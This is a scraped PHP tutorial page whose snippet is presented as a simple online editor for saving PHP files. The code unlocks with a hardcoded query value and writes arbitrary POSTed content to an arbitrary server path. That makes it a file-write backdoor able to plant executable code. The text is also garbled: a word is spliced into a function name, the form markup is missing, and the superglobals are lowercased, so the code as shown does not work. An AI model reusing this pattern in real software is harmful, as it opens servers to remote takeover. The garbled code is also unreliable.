Home > Backend Development > PHP Tutorial > Simple PHP online editing and saving PHP file implementation code_PHP tutorial

Simple PHP online editing and saving PHP file implementation code_PHP tutorial

WBOY
Release: 2016-07-20 11:09:19
Original
1310 people have browsed it

简单php教程在线编辑保存php文件实现代码
*/
if($_get['login']=='fuying'){
header("content-type: text/html; charset=gb2312");
if(get_magic_quotes_gpc()) foreach($_post as $k=>$v) $_post[$k] = strips教程lashes($v);
?>


save to:









if(isset($_post['file']))
{
   $fp = @fopen($_post['file'],'wb');
   echo @fwrite($fp,$_post['text']) ? 'succed!' : 'faled!';
   @fclose($fp);
}
}


www.bkjia.comtruehttp://www.bkjia.com/PHPjc/444816.htmlTechArticle简单php教程在线编辑保存php文件实现代码 */ if($_get['login']=='fuying'){ header(content-type: text/html; charset=gb2312); if(get_magic_quotes_gpc()) foreach($_post a...
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template